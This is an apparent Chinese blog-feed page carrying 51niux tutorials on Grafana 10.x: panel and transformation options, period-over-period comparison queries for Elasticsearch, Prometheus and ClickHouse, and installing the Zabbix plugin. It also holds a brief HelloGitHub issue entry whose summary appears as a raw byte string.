Column alignment:列对齐,Auto (default)/Left/Center/Right

Column filter:列过滤器,可以临时更改列数据的显示方式。例如,可以将值从高到低排序或隐藏特定值。

Table footer(表页脚)

Show table footer: 选择要计算的字段,如果不选择字段,系统会将计算应用于所有数字字段。

Fields选择要计算的字段,去计算total总数

Cell options(单元格选项)

Cell type: 单元格类型,默认情况下,Grafana自动选择显示设置

Sparkline #显示渲染为迷你图的值
Color text #颜色的文本,如果设置了阈值,则字段文本将以适当的阈值颜色显示
Color background (gradient or solid) #背景色(渐变或纯色)如果设置了阈值,则字段背景将以适当的阈值颜色显示
Gauge #单元格可以显示为图形度量
Data links #数据链接
JSON view #JSON视图
Image #如果字段值是图像URL或base64编码的图像,则可以配置表以将其显示为图像。

Cell value inspect:启用表单元格中的值检查。原始值显示在模式窗口中。

#后面得选项参照上个图形的介绍吧,一样。

2.2 跟着官网学习Transform data(非常重要建议看完)

转换是在系统应用可视化之前处理查询返回的数据的一种强大方法。使用转换,你可以:

重命名字段
加入时间序列数据
跨查询执行数学运算
将一个变换的输出用作另一个变换中的输入

对于依赖同一数据集的多个视图的用户来说,转换提供了一种创建和维护大量仪表板的有效方法。还可以使用一个转换的输出作为另一个变换的输入,这样可以提高性能。有时系统无法绘制转换后的数据。发生这种情况时,单击可视化上方的"Table view"切换,切换到数据的表视图。这可以帮助你了解转换的最终结果。

Order of transformations(转换顺序)

当存在多个转换时,Grafana会按照列出的顺序应用它们。每个转换都会创建一个结果集,然后将其传递给处理管道中的下一个转换。

Grafana应用转换的顺序直接影响结果。例如,如果使用Reduce转换将一列的所有结果压缩为单个值,则只能将转换应用于该单个值。

Debug a transformation(调试转换)

要查看转换的输入和输出结果集,请单击转换行右侧的bug(常见的爬虫)图标。输入和输出结果集可以帮助你调试转换。

Disable a transformation(禁用转换)

通过单击变换行右上角的眼睛图标,可以禁用或隐藏一个或多个变换。这将禁用该特定转换的应用操作,并有助于在相继更改多个转换时识别问题。

#下面是Transformation functions(转换函数)的介绍

官方链接:https://grafana.com/docs/grafana/latest/panels-visualizations/query-transform-data/transform-data/

Add field from calculation(从计算中添加字段)

Mode(模式)-选择下面的一种类型:

Reduce row:对选定字段的每一行独立应用选定的计算。

Binary operation:二进制运算,对两个选定字段中的单行值应用基本二进制运算(例如求和或乘法)

Unary operation:对选定字段中的单行值应用基本一元运算。可用的操作包括:

Absolute value (abs): 返回给定表达式的绝对值。它将其与零的距离表示为正数
Natural exponential (exp):自然指数,返回e的幂
Natural logarithm (ln): 返回给定表达式的自然对数
Floor (floor): 返回小于或等于给定表达式的最大整数
Ceiling (ceil):返回大于或等于给定表达式的最小整数

Cumulative functions:累积函数,将函数应用于当前行和之前的所有行。

Total:计算截至当前行(包括当前行)的累计总计
Mean:计算当前行(包括当前行的平均值。

Window functions:应用窗口函数。窗口可以是尾部的,也可以是居中的。对于尾随窗口,当前行将是窗口中的最后一行。使用居中窗口时,窗口将位于当前行的中心。对于偶数窗口大小,窗口将位于当前行和前一行之间的中心。

Mean:计算移动平均值或运行平均值
Stddev:计算移动的标准偏差
Variance: 计算移动方差

Row index:插入具有行索引的字段

Field name: 选择要在新字段的计算中使用的字段名称

Calculation(计算): 如果选择减少行模式,则显示计算字段。在字段中单击以查看可用于创建新字段的计算选项列表。

Operation(操作): 如果选择二进制操作或一元操作模式,则出现操作字段。这些字段允许您对选定字段中的单行值应用基本的数学运算。

As percentile(百分位数): 如果选择行索引模式,则显示As百分位数开关。此开关允许将行索引转换为行总数的百分比。

Alias(别名):(可选)输入新字段的名称。如果你将此留空,则将命名该字段以匹配计算结果。

Replace all fields(替换所有字段):(可选)如果您想隐藏所有其他字段,并在可视化中仅显示计算的字段,请选择此选项。

Concatenate fields(连接字段)

使用此转换将所有帧中的所有字段合并为一个结果。这种转换简化了合并来自不同来源的数据的过程,为分析和可视化提供了一个全面的视图。

Config from query results(查询结果配置)

使用此转换来选择查询并提取标准选项,例如Min、Max、Unit和Thresholds,并将它们应用于其他查询结果。此特性支持基于特定查询返回的数据进行动态可视化配置。

Config query(配置查询):选择返回要用作配置的数据的查询

Apply to(应用到):选择配置应用到的字段或系列

Apply to options(应用到选项): 根据你在应用于中的选择,指定字段类型或使用字段名称正则表达式

Convert field type(转换字段类型)

使用此转换来修改指定字段的字段类型。这个转换有以下选项:

Field:从可用字段中选择

as:选择要转换为的FieldType

Numeric: 尝试将值变为数字
String: 将值变成字符串
Time: 尝试将值解析为时间,将显示一个选项,指定一个日期格式输入的字符串,如yyyy-mm-dd or DD MM YYYY hh:mm:ss
Boolean:将值变为布尔值
Enum:将值设为枚举
Other:尝试将值解析为JSON

Extract fields(提取字段)

使用此转换可以选择数据源并从中提取不同格式的内容。此转换具有以下字段:

Source:选择数据来源的字段

Format:选择下列之一

JSON:从源解析JSON内容
Key+value pairs:分析源中格式为“a=b”或“c:d”的内容
Auto:自动发现字段

Replace All Fields(替换所有字段):  (可选)选择此选项可隐藏所有其他字段,并在可视化中仅显示计算字段。

Keep Time: (可选)仅当“替换所有字段”为true时可用。在输出中保留时间字段。

Lookup fields from resource(资源中查找字段)

使用此转换可以通过从外部源查找其他字段来丰富字段值。此转换具有以下字段:

Field:从数据集中选择一个文本字段
Lookup:从国家/地区、美国各州和机场中进行选择。此转换当前支持空间数据。

Filter data by query refId

使用此转换可以在具有多个查询的面板中隐藏一个或多个查询。Grafana以深灰色文本显示查询标识字母。单击查询标识符可切换过滤。如果查询字母为白色,则显示查询结果。如果查询字母是暗的,那么结果是隐藏的。

注意:此转换不适用于Graphite,因为该数据源不支持将返回的数据与查询关联起来。

Filter data by values(按值筛选数据)

使用此转换可以直接在可视化中选择性地过滤数据点。此转换提供了基于应用于选定字段的一个或多个条件来包括或排除数据的选项。

如果数据源不按值进行本机筛选,则此转换非常有用。如果使用共享查询,也可以使用此选项来缩小要显示的值。

所有字段的可用条件为:

Regex:匹配一个正则表达式
Is Null:如果值为空,则匹配 
Is Not Null:如果值不为空,则匹配
Equal:如果值与指定值相等,则匹配
Different:如果值与指定值不同,则匹配

字符串字段的可用条件有:

Contains substring:包含指定的子字符串时匹配(不区分大小写)
Does not contain substring:如果值不包含指定的子字符串,则匹配(不区分大小写)

数字字段的可用条件为:

Greater:如果值大于指定值,则匹配
Lower:如果值低于指定值,则匹配
Greater or equal:如果值大于或等于,则匹配
Lower or equal:小于等于时匹配
Range:匹配指定的最小值和最大值之间的范围,包括最小值和最大值

Filter fields by name(按名称筛选字段)

使用此转换可以选择性地删除部分查询结果。有三种方法可以过滤字段名称:

使用正则表达式
手动选择包含的字段
使用仪表板变量

Format string(设置字符串格式)

使用此转换可以自定义字符串字段的输出。此转换具有以下字段:

Upper case:用大写字符格式化整个字符串
Lower case:用小写字符格式化整个字符串
Sentence case:将字符串的第一个字符格式化为大写
Title case:以大写形式格式化字符串中每个单词的第一个字符
Pascal case:将字符串中每个单词的第一个字符格式化为大写,并且不包括单词之间的空格
Camel case:将字符串中每个单词的第一个字符(第一个单词除外)设置为大写,并且不包括单词之间的空格
Snake case:将字符串中的所有字符格式化为小写,并使用下划线而不是单词之间的空格
Kebab case:将字符串中的所有字符格式化为小写,并在单词之间使用破折号而不是空格
Trim:从字符串中删除所有前导空格和尾部空格
Substring:使用指定的开始和结束位置返回字符串的子字符串

Format time(时间格式)

使用此转换自定义时间字段的输出。输出可以使用Moment.js格式字符串进行格式化。

Group by

使用此转换按指定字段(列)值对数据进行分组,并对每个组进行计算。这种转变分为两个步骤。首先,指定一个或多个字段进行数据分组。这将把这些字段的所有相同值分组在一起,就像对它们进行排序一样。

Grouping to matrix(分组到矩阵)

使用此转换可以组合三个字段(用作查询输出中Column、Row和Cell值字段的输入),并生成一个矩阵。

Group to nested table(分组到嵌套表)

使用此转换可以按指定的字段(列)值对数据进行分组,并处理每个组的计算。将生成共享相同分组字段值的记录,这些记录将显示在嵌套表中。

Create heatmap(创建热图)

使用此转换来准备直方图数据,以便随着时间的推移可视化趋势。与热图可视化类似,这种转换将直方图度量转换为时间桶。

X Bucket

这个设置决定了如何将x轴分割成桶。

Size:在输入字段中指定一个时间间隔。例如,时间范围'1h'在x轴上创建一个小时宽的单元格。
Count:对于非时间相关的序列,使用此选项定义bucket中的元素数量。

Y Bucket

该设置决定如何将y轴划分为桶。

Linear
Logarithmic:选择以2为底的对数或以10为底的对数
Symlog:使用对称的对数刻度。选择以2为底的对数或以10为底的对数,允许负值。

Histogram(直方图)

使用此转换生成基于输入数据的直方图,使你能够可视化值的分布。

Bucket size:桶中最小和最大项之间的范围(xMin到xMax)
Bucket offset:非从零开始的桶的偏移量
Combine series:使用所有可用的系列创建统一的直方图

Join by field(按字段加入)

使用此转换可以将多个结果合并到一个表中,从而可以合并来自不同查询的数据。这对于将多个时间序列结果转换为具有共享时间字段的单个宽表特别有用。

Inner join

内部连接合并来自多个表的数据,其中所有表共享所选字段的相同值。这种类型的连接排除了值在每个结果中都不匹配的数据。

使用此转换将来自多个查询的结果(在传递的连接字段或第一个时间列上进行组合)合并为一个结果,并删除无法成功连接的行。

Outer join

外部连接包括来自内部连接的所有数据以及在每个输入中值不匹配的行。虽然内部连接在时间字段上连接查询A和查询B,但外部连接包括在时间字段上不匹配的所有行。

Join by labels

使用此转换将多个结果连接到单个表中。这对于将多个时间序列结果转换为具有共享Label字段的单个宽表特别有用。

Join: 选择要在所有时间序列中可用或通用的标签之间连接的标签
Value: 输出结果的名称

Labels to fields(字段标签)

使用此转换将带有标签或标记的时间序列结果转换为表,包括结果中每个标签的键和值。将标签显示为列值或行值,以增强数据可视化。

Mode:分为Columns(列模式)和Rows(行模式)

Value field name:如果选择了标签名,此标签的每一个值都会获得一个字段

Merging behavior:标签到字段转换器在内部是两个独立的转换。第一个作用于单个序列并提取字段的标签。第二种是合并转换,将所有结果连接到一个表中。合并转换尝试对所有匹配的字段进行联接。此合并步骤是必需的,不能关闭。

Limit

使用此转换来限制显示的行数,从而提供更集中的数据视图。这在处理大型数据集时特别有用。

Merge series/tables

使用此转换将多个查询的结果合并为单个结果,这在使用表面板可视化时特别有用。如果共享字段包含相同的数据,则此转换将值合并到同一行中。

Organize fields by name(按名称组织字段)

使用此转换可以灵活地重命名、重新排序或隐藏面板中单个查询返回的字段。此转换仅适用于具有单个查询的面板。

Transforming fields

Grafana显示查询返回的字段列表,允许你执行以下操作:

Change field order:更改字段顺序,将鼠标悬停在字段上,当光标变为手形时,将字段拖动到其新位置
Hide or show a field:隐藏或显示字段,使用字段名称旁边的眼睛图标来切换特定字段的可见性
Rename fields:重命名字段,在“Rename”框中键入新名称以自定义字段名称。

Partition by values(按值划分)

使用此转换可以简化绘制多个序列的过程,而不需要使用不同的' WHERE '子句进行多个查询。这在处理度量SQL表时特别有用。

Prepare time series(配置时间序列)

当数据源以与所需可视化不兼容的格式返回时间序列数据时,使用此转换可以解决问题。这种转换允许你在长/宽格式之间转换时间序列数据,从而提供数据帧结构的灵活性。

Format可用选项

Multi-frame time series:使用此选项可将时间序列数据帧从宽格式转换为长格式。
Wide time series:选择此选项可将时间序列数据帧从长格式转换为宽格式

Reduce

使用此转换可以对数据帧中的每个字段应用计算并返回单个值。这种转换对于将多个时间序列数据合并为更紧凑、汇总的格式特别有用。

Mode:

Series to rows:为每个字段创建一行,为每个计算创建一列
Reduce fields: 保留现有的帧结构,但将每个字段折叠为一个值。

Rename fields by regex(按正则表达式重命名)

使用此转换使用正则表达式和替换模式重命名查询结果的部分。

Rows to fields

使用此转换可以将行转换为单独的字段。默认情况下,转换使用第一个字符串字段作为源。可以通过选择要使用的字段的"Use as column"列中的值覆盖默认值。

将额外的字段映射到标签,如果一个字段没有映射到配置属性,Grafana将自动使用它作为输出字段-标签的源。

Series to rows

使用此转换将多个时间序列数据查询的结果合并为一个结果。此转换的结果将包含三列:Time、Metric和Value。

Sort by

使用此转换可以根据指定字段对查询结果中的每个帧进行排序,使数据更易于理解和分析。通过配置所需的排序字段,可以控制数据在表或可视化中的显示顺序。

Time series to table 

使用此转换可将时间序列结果转换为表,将时间序列数据帧转换为趋势字段,然后该字段可用于sparkline单元格类型。如果有多个时间序列查询,每个查询都将产生一个单独的表数据帧。可以使用联接或合并转换来联接这些表,以生成每行具有多个迷你图的单个表。

Regression analysis(回规分析)

使用此转换创建包含统计模型预测值的新数据框架。这对于在混沌数据中寻找趋势是有用的。它通过使用线性或多项式回归将数学函数拟合到数据中来工作。然后可以在可视化中使用数据框架来显示趋势线。

有两种不同的模式:

Linear regression: 线性回归,拟合数据的线性函数
Polynomial regression:多项式回归,将多项式函数拟合到数据中

2.3 用2个例子说明一下Transform data

博文来自:www.51niux.com

#理论确实是枯燥的,但是是实践的基础,下面用一些例子展示几个常用的用法

例子1:我们想展示容器重启的详情(promtheus数据源)

没使用transform函数前的效果展示(这显然不是我们想要的效果,我们希望展示每个pod重启的次数):

image.png

使用transform函数后的效果展示

image.png

#上图中我们一下子用了三个函数的组合:Reduce/Filter fields by name/Sort by  这也是很常用的转换函数

#你说我想换成方式,想看看能实现吗?当然可以,各种组合白。请看下图:

image.png

image.png

2.4 用1个例子说明一下正确用法

#看到这里是不是发现有点不对了,之前用grafana出图的时候也没这么费劲啊,怎么现在出一个表格要这么多函数。而且如果如果有多个query结果的时候你会发现没办法合并到一个表格上面展示了。所以忘记上面的使用方法,只是单纯的了解下转换函数的使用。

我们再来一个实际场景的例子,我想要把某一类型的主机都体现在一个表格上面,比如50台机器,我想一眼就能看到他们的CPU使用率,内存使用率是否异常等等,这不就是grafana出图聚合可视化的实际场景嘛。

先来几个query:

#node节点的基础指标一般是使用node_exports采集的
sum(time() - node_boot_time_seconds)by(instance)  #机器的运行时间
node_memory_MemTotal_bytes - 0  #机器的内存大小
count(node_cpu_seconds_total{mode='system'}) by (instance)  #机器的cpu数量
(1 - (node_memory_MemAvailable_bytes{} / (node_memory_MemTotal_bytes{})))* 100  #机器的内存使用率

query如何处理:

#不做对比了,直接上正确用法了

博文来自:www.51niux.com

image.png

tramsform函数如何使用

image.png

Override针对指定项单独设置

#比如你想让内存使用率超过多少进行不同的颜色展示,体现在这个单元表中,可以如下设置:

image.png

#剩下的比如磁盘空间啊,网卡流量啊等等按照这个方式累加就可以了,意思一致。

三、grafana做同环比

3.1 grafana使用ES源做同比

#好我们来个需求,我想看到我一些指标比如完单数今天和昨天同时段的对比情况。

#先设置AB两个相同的metric查询语句,然后再B第二个查询语句进行一些设置:

image.png

#做了时间偏移量之后你会发现当前的指标图中也只显示当天的指标数据,昨天的指标数据并未在X轴上面显示

image.png

#其他grafana上面的细节点就不做介绍了,自己点击的调整吧,让我们最后看下效果

image.png

#好可以看到同比效果图出现了,但是有一些不完美的地方就是最会有一天不是同比图,另外如果你选择24小时或者当天的时间的话,也只会显示当天的指标图不会有同比效果。为什么会这样呢?因为我们昨天的数据是通过偏移量-1d,也就是比如你选择7d,那么正常的就是7天的数据,但是B昨日的数据是7d-1d=6d,因为少一天数据。

3.2 grafana使用prometheus源做同比

#好这次说用户下单数,我们先是程序将没分钟的下单数做了一个sum计算后,插入到了prometheus中,也就是一个点就是一分钟的数据。

image.png

#你会发现很直接,上周和当前的数据指标直接体现在了指标图中了,还有个小问题哈,指标标题显示的是是一个长串的结果,我们想改成我们指定的名称。你还不能基于字段名称进行替换,因为这两个字段名称一样,所以使用by query.

image.png

#下面让我们看看最终的效果图(可以发现之前说的es的显示问题不存在了):

image.png

3.3 grafana使用clickhouse源做同比

http://www.51niux.com/?id=318    #已经介绍了clickhouse如何搭建和如何采集nginx日志,这里我们利用采集的nginx做下出图展示

#添加数据源就不截图介绍了,server address就是ck的地址,server port是端口默认是8123端口,有账号密码的话在username和password那里设置。

官网文档:https://clickhouse.com/docs/en/integrations/grafana

我们先做一个按时间访问的趋势图:

SELECT TimeLocal as "time", count() as "当前访问次数"  FROM "nginxdb"."access_logs_view" WHERE ( time >= $__fromTime AND time<= $__toTime ) AND Status='200'  GROUP BY time

image.png

#$__fromTime和$__toTime就是dashboard上面的开始时间和结束时间,这时候就可以通过拖动时间来显示指定时间的nginx访问日志的次数。但是这里有个问题,可以自己尝试,你会发现Interval也就是我们常说的步长失去作用了,只会显示time分组的次数,比如你的time精确到秒,就是时间秒的访问次数。但是我们一旦时间拉大可能是想显示某分钟或者某小时的聚合次数,下面是我的方法,如果有更好的麻烦告知一下。

SELECT toStartOfHour(TimeLocal) as Hour, count(*) as "当前访问次数"  FROM "nginxdb"."access_logs_view" WHERE (TimeLocal >= $__fromTime AND TimeLocal < $__toTime) and Status='200' GROUP BY Hour ORDER BY Hour;

#直接用clickhouse的时间转换函数,转换出一个小时维度的时间Hour,然后再去Group分组,下面是效果图

image.png

关于函数的官网文档:https://clickhouse.com/docs/en/sql-reference/functions/date-time-functions#tostartofhour

这里有一个注意点:

一般你可能遇不到这个情况或者没有注意到,因为一般都是统计流量大的域名日志,所以基本每分钟都是有日志,一般重要的域名都是有探活的,所以基本每分钟也会有请求,如果你不做同比展示,这个问题也对你不会有影响的。这个问题就是,如果你采集的是一个流量比较小的域名日志,那么它不能保证每分钟都会请求,如果你按照分钟分组的时候呢,就可能有的分钟是没有数据的,这体现在grafana上面就是没有数据点位。比如下面(一个测试域名量比较小能体现这个问题)的示例:

下面是clickhouse里面针对某个时刻的次数统计:

image.pngimage.png

#直接文字描述了,如果是单纯的当天日志展示,没有数据点位也是没关系的,但是如果一旦同比展示的话,就会出现时间点的错位/补位,你就会发现有的时刻指标是对的,有的图上的数据点位指标是不对的。你说我把为空的置0行不行(COALESCE(count(), 0) 或者 IFNULL(count(), 0)),也是不行的,因为是本身就没有这个时间而不是这个时间点数据为空。

做昨日/上周同比

#我们一般都是做分钟级的同比,秒级的太细毛刺太多,小时级的粒度又太粗反映太滞后了。下面分别做ABC三条sql语句:

A:

SELECT toStartOfMinute(TimeLocal) as Now_Min, 
       IFNULL(count(*),0) as "当前访问次数"  
FROM "nginxdb"."access_logs_view"
WHERE (TimeLocal >= $__fromTime AND TimeLocal < $__toTime) and Status='200' 
GROUP BY Now_Min
ORDER BY Now_Min;

B(这里重点是让TimeLocal让右偏移,让查询时间范围往左偏移)这样才能达到同比效果:

SELECT toStartOfMinute(toDateTime(toUnixTimestamp(TimeLocal)+86400)) as Yes_Min, count(*) as "昨日访问次数"  
FROM "nginxdb"."access_logs_view"
WHERE   TimeLocal >= toDateTime(toUnixTimestamp($__fromTime)-86400) AND  TimeLocal< toDateTime(toUnixTimestamp($__toTime)-86400)
GROUP BY Yes_Min
ORDER BY Yes_Min;

#因为我们这个B的查询时间范围是不在grafana的搜索时间框里面的,如果想单独的Time series得panel显示的话会有下面报错(可以用table格式看数据是否正确),这里说的报错是在没有+86400也就是sql语句不是toUnixTimestamp(TimeLocal)+86400)[这个是把在grafana上面的显示时间往右边错位1天,这时候你看到的时间比如本来是5月21号的数据在图上显示的是5月22的日期]而是正常的TimeLocal的时候(是为了检查取值的准确性):

报错信息:Data outside time range  Zoom to data(字面意思也很好理解啊超过了时间范围)

image.png

C查询:

SELECT toStartOfMinute(toDateTime(toUnixTimestamp(TimeLocal)+86400*7)) as Last_Min, count(*) as "上周访问次数"  
FROM "nginxdb"."access_logs_view"
WHERE   TimeLocal >= toDateTime(toUnixTimestamp($__fromTime)-86400*7) AND  TimeLocal< toDateTime(toUnixTimestamp($__toTime)-86400*7)
GROUP BY Last_Min
ORDER BY Last_Min;

下面让我们看下效果图:

image.png

#至此关于grafana的简单同比图介绍完毕

May 15, 2024 09:41 AM

April 28, 2024

hellogithub

HelloGitHub 第 97 期

b'\xe6\x9c\xac\xe6\x9c\x9f\xe5\x85\xb1\xe6\x9c\x89 40 \xe4\xb8\xaa\xe9\xa1\xb9\xe7\x9b\xae\xef\xbc\x8c\xe5\x8c\x85\xe5\x90\xab C \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cC# \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cC++ \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cGo \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cJava \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8cJavaScript \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cKotlin \xe9\xa1\xb9\xe7\x9b\xae (1)\xef\xbc\x8cPython \xe9\xa1\xb9\xe7\x9b\xae (5)\xef\xbc\x8cRust \xe9\xa1\xb9\xe7\x9b\xae (3)\xef\xbc\x8cSwift \xe9\xa1\xb9\xe7\x9b\xae (2)\xef\xbc\x8c\xe4\xba\xba\xe5\xb7\xa5\xe6\x99\xba\xe8\x83\xbd (4)\xef\xbc\x8c\xe5\x85\xb6\xe5\xae\x83 (5)\xef\xbc\x8c\xe5\xbc\x80\xe6\xba\x90\xe4\xb9\xa6\xe7\xb1\x8d (2)'

April 28, 2024 12:09 AM

April 18, 2024

51niux

Grafana10.x新版本图形使用一

#距离上一次写grafana方面的知识内容已经过去好几年了,记的没错的话自grafana7.x版本开始页面设计就已经变动非常大了,旧的文章已经不适应现在的版本了。

#首先还是说下grafana怎么学,除了网上找博客或者往上找视频看之外,其实跟着官方文档学时最好的: https://grafana.com/docs/grafana/latest/
#grafana得搭建啊配置参数之类的就不介绍了,可以看此系统前面的博客内容。

一、Grafana安装插件使用新版本zabbix

#截止到写此篇博客,grafana已经更新到了V10.4.2版本,我们就用最新版本结合zabbix的最新版本6.4.12去构建图形。

1.1 服务器上面的操作
image.png

# ./bin/grafana cli plugins list-remote|grep zabbix   #先列一下我们需要安装的zabbix插件

id: alexanderzobnin-zabbix-app version: 4.4.8

# ./bin/grafana cli plugins install alexanderzobnin-zabbix-app  #安装一下插件

✔ Downloaded and extracted alexanderzobnin-zabbix-app v4.4.8 zip successfully to /var/lib/grafana/plugins/alexanderzobnin-zabbix-app
Please restart Grafana after installing or removing plugins. Refer to Grafana documentation for instructions if necessary.

# rsync -avz /var/lib/grafana/plugins/alexanderzobnin-zabbix-app /opt/soft/grafana-v10.4.2/data/plugins/ >/dev/null  #把插件目录拷贝到程序插件目录
# ps aux|grep grafana  #首先要重启下grafana进程哈,然后再查看下进程

root     28706 22.8  2.4 1479352 95984 pts/1   Sl   11:44   0:01 grafana server conf/grafana.ini
root     28716  2.0  0.2 1248740 10532 pts/1   Sl   11:44   0:00 /opt/soft/grafana-v10.4.2/data/plugins/alexanderzobnin-zabbix-app/gpx_zabbix-plugin_linux_amd64

 1.2 web页面上面数据源的操作

image.png

image.png

image.png

#然后在Zabbix Connection的地方选择Auth type为默认的用户名和密码然后输入用户名和密码,点击下保存就可以了哈。

image.png

1.3 了解下有哪些Visualizations(根据官网介绍)

Graphs & charts

Time series #是默认的主图形可视化。
State timeline #状态随时间变化。
Status history #用于随时间的周期性状态。
Bar chart #显示任何分类数据。
Histogram #计算并显示条形图中的值分布。
Heatmap visualizes #二维数据,通常用于表示一种现象的强度。
Pie chart #通常在比例很重要的情况下使用。
Candlestick #通常用于关注价格/数据变动的金融数据。
Gauge #是传统的圆形视觉效果,显示单个度量与阈值的距离。
Trend #对于具有顺序数字x(不是时间)的数据集。

Stats & numbers

Stat #对于大统计和可选的火花线。
Bar #是水平或垂直条形规。

Misc(杂项)

Table #是主要的和唯一的表可视化。
Logs #是日志的主要可视化。
Node graph #对于有向图或网络。
Traces #是迹线的主要可视化。
Flame graph #是分析的主要可视化工具。
Canvas #允许你在静态和动态布局中显式放置元素。
Geomap #帮助你可视化地理空间数据。
Datagrid #允许你创建和操作数据,并充当其他面板的数据源。

Widgets(小部件)

Dashboard list #仪表板得列表。
Alert list #报警规则列表
Annotations list #可用注释列表
Text #可以显示markdown和html。
News #可以显示RSS提要。

#我擦一脸懵,具体怎么用或者还有没有其他Pannel呢?https://grafana.com/grafana/plugins/panel-plugins/ #我擦看官网还是一脸懵,有没有现成的例子给瞅一眼?https://play.grafana.org/

博文来自:www.51niux.com

1.4 创建一个Time series的图形

#还是创建dashboard的时候如果没思路可以参照其他人是怎么做的:https://grafana.com/grafana/dashboards/

时间序列可视化是将时间序列数据可视化为图形的默认和主要方法。它们可以将序列呈现为线、点或条。它们功能齐全,几乎可以显示任何时间序列数据。

#这里变量就不介绍了,重点说一下旧版本的监控项也就是item是通过application分类的,在新版本改成了item tag,所以新版本zabbix的监控项可以通过"标记"中定义不同的"监控项标签"来进行不同的item区分,比如名称是component,值是os。

Tooltip options(工具提示的选项)

工具提示选项控制将鼠标悬停在图表中的数据点上时显示的信息覆盖。

Tooltip mode(工具提示模式):当你将光标悬停在可视化上时,Grafana可以显示工具提示。选择工具提示的行为。

Single - 悬停工具提示只显示单个系列,通俗一点讲就是当你鼠标停留在出图面板的时候只显示一个数据指标值
All - 悬停工具提示显示可视化中的所有系列。通俗一点讲就是鼠标停留在出图面板所有数据都显示
Hidden - 在与可视化交互时不要显示工具提示。通俗一点讲就是这个图只看趋势鼠标停留在页面上没有数据点显示

Hover proximity(悬停接近度):此选项控制在工具提示出现之前光标必须离数据点的距离。值以像素为单位。 上面的文字内容可能有些枯燥,下面是出图解释:

image.png

Legend options(图例选项)

图例选项控制显示在图形下方或右侧的系列名称和统计信息。

Legend mode:使用这些设置可以定义图例在可视化中的显示方式。详细的文档:https://grafana.com/docs/grafana/latest/panels-visualizations/configure-legend/

List - 将图例显示为列表。这是图例的默认显示模式。
Table - 将图例显示为表格。
Hidden - 隐藏这个图形。

Legend placement(指标标题的位置)

Bottom - 图形的底部
Right - 图形的右侧

Legend values(显示指标不通计算类型的值)

Calculation types:
All nulls  #当所有值为空时为True  
All values #包含所有值的数组
All unique values #具有所有唯一值的数组 
All zeros #当所有值都为0时为True
Change count #字段值更改的次数
Count #字段中值的数目  
Delta #值的累积变化,只计算增量  
Difference  #字段的第一个值和最后一个值之间的差    
Difference percent  #字段的第一个值和最后一个值之间的百分比变化   
Distinct count  #字段中唯一值的个数  
First  #字段中的第一个值   
First* (not null)  #第一个值,字段中不是空值(也不包括nan)  
Last  #字段中的最后一个值  
Last* (not null) #最后的字段中的非空值(也不包括nan)  
Max #字段的最大值 
Mean #字段中所有值的平均值
Variance  #字段中所有值的方差   
StdDev  #字段中所有值的标准偏差 
Min #字段的最小值 
Min (above zero) #字段的最小正值 
Range #字段的最大值和最小值之间的差异   
Step #字段值之间的最小间隔 
Total  #字段中所有值的总和

image.png

#又操作了一波可以用Ctrl+S快捷键保存一下

Axis options(轴选项)

轴类别下的选项可更改x轴和y轴的渲染方式。某些选项只有在正在编辑的字段选项框外单击后才会生效。也可以或按Enter键。

Time zone(时区)

将所需时区设置为沿x轴显示。

Placement(放置)

选择y轴的位置

Auto: 自动将y轴分配给系列。当有两个或多个具有不同单位的序列时,Grafana将左轴分配给第一个单位,右轴分配给随后的单位。
Left: 在左侧显示所有y轴。
Right: 在右侧显示所有y轴。
Hidden: 隐藏所有的轴。

若要有选择地隐藏轴,请添加针对特定字段的字段覆盖。

Label(标签)

设置y轴文本标签。如果你有多个y轴,那么你可以使用覆盖来分配不同的标签。下图为例子:

image.png

#现在不是只显示了两个Y轴嘛,你说我三个指标想显示三个Y轴咋整?那就是再加一个Override就可以了,这里就不多做展示了。

Width(宽度)

设置轴的固定宽度。默认情况下,Grafana动态计算轴的宽度。通过设置轴的宽度,不同轴类型的数据可以共享相同的显示比例。这种设置使你更容易比较多个图形的数据值,因为坐标轴不会在视觉上彼此接近的范围内移动或拉伸。

Show grid lines(显示网格线)

设置轴网格线可见性。

Auto: 根据数据密度自动显示网格线。
On: 始终显示网格线。
Off: 不要显示网格线。

Color(颜色)

设置轴的颜色。

Text: 根据主题文本颜色设置颜色。默认白色文本颜色。
Series: 根据系列颜色设置颜色。通俗点说就是对应的X轴是什么颜色的线,Y轴就是什么颜色的。

Show border(显示边界)

设置轴边界可见性。通俗讲就是Y轴变成了实线。

Scale(比例)

设置y轴值的比例。通俗讲就是默认是Y轴数值等比例切分显示(比如0-20-40-60-80-100)还是按照2或者10的几次方显示。

Linear: 等份比例
Logarithmic: 使用对数刻度.选择此选项时,将出现一个列表,供你选择二进制(以2为基数)或普通(以10为基数)对数刻度。
Symlog: 使用对称对数刻度.选择此选项时,会出现一个列表,供您选择二进制(以2为基数)或通用(以10为基数)对数刻度。线性阈值选项允许您设置比例从线性变为对数的阈值。

Centered zero(为零)

将y轴设置为以0为中心。通俗讲就是把0提到Y轴的中线,上面是正值下面是负值。

Soft min and soft max(最小和最大值软限制) 通俗讲呢就以百分比为例,现在不是0-100%的显示吗,比如min是50,max是100,那么图形Y轴就只显示50%-100%。

设置最小值或最大值选项,以便更好地控制y轴限制。默认情况下,Grafana根据数据集自动设置y轴的范围。
最小值和最大值设置可以防止数据中的小变化在数据基本平坦时被放大.相比之下,硬最小值和最大值有助于防止模糊数据中的有用细节,通过剪切超过特定点的间歇性峰值。

要定义y轴的硬限制,请设置标准的最小/最大选项。有关更多信息,请参阅配置标准选项: https://grafana.com/docs/grafana/latest/panels-visualizations/configure-standard-options/#max

Graph styles(图形样式)

使用此选项可定义如何显示时间序列数据。可以使用overrides(覆盖)在同一图形中组合多个样式。(Lines,Bars,Points)

Bar alignment(条纹对齐)

设置条相对于数据点的位置。在下面的示例中,Show points被设置为Always,这使得更容易看到此设置所产生的差异。这些点不会改变;条形随点变化。

Before #条画在点的前面。点被放置在杆的后角上。
Center #条是围绕着点画的。点被放置在杆的中心。这是默认值。
After  #条形图绘制在点之后。该点放置在条形图的前角。

Line width(线宽)

线宽是一个滑块,用于控制系列线的厚度或条形图的轮廓。通俗来讲数字越大数据线越粗。

Fill opacity(填充不透明度)

使用不透明度来指定系列区域的填充颜色。通俗来讲现在背景不是没颜色嘛,数字越大指标线的颜色就会成为背景色并且越深。

Gradient mode(梯度模式)

